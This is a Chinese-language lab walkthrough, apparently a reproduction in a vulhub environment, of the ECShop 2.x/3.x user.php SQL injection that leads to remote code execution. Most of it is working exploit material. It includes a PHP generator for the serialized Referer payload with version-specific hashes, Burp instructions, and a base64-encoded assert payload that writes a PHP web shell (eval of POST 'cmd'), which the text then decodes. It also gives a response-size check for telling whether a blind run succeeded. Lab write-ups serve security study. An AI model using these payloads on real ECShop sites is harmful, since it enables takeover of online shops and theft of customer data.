简介
2021年6月30日。
漏洞环境:无额外说明均为vulhub。
参考链接:
百科:https://baike.baidu.com/item/ecshop/10041925?fr=aladdin
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
我看seebug上关于它的漏洞有好多。
xianzhi-2017-02-82239600(SQL注入/远程代码执行)
参考链接:
https://blog.csdn.net/weixin_43416469/article/details/114019303
脚本:https://github.com/ADummmy/vulhub_Writeup/blob/main/code/ecshop_sql_rce_exp.php
该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。
漏洞影响范围:
2版本全系列
3.x - 3.6.0
我看文章中说3.6.0版本已经将漏洞修复了,实验中的3.6.0版本代码应该有变动。
漏洞复现
启动环境,访问http://your-ip:8080
端口,将进入到2.7.3
版本的安装界面。访问8081端口,将进入到3.6.0
版本的安装界面。
注意:数据库主机地址要填写mysql
,不是localhost
。数据库用户名密码均为root
。两个版本安装时的数据库名不能相同。
2.7.3版本首页。
3.6.0版本首页。
下载攻击脚本,生成攻击payload。
<?php
$shell = bin2hex("{$asd'];phpinfo ();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x:
";
echo "{$hash2}ads|{$s}{$hash2}";
echo "
POC for ECShop 3.x:
";
echo "{$hash3}ads|{$s}{$hash3}";
访问/user.php?act=login
目录,使用burp拦截抓包,添加Referer
字段,值为payload脚本生成的内容。
获取shell(3.6.0版本)
$shell = bin2hex("{$asd'];assert (base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2NtZF0pOyA/Picp'));//}xxx");
base64编码的内容为:
file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')
这个版本,如果无回显的payload执行成功,响应包大小为7333
个字节,执行失败为7330
,多的三个字节为xxx
。
漏洞修复
在3.6.0版本以上,该漏洞已被修复。
现在我看最新版的已经到4.1了。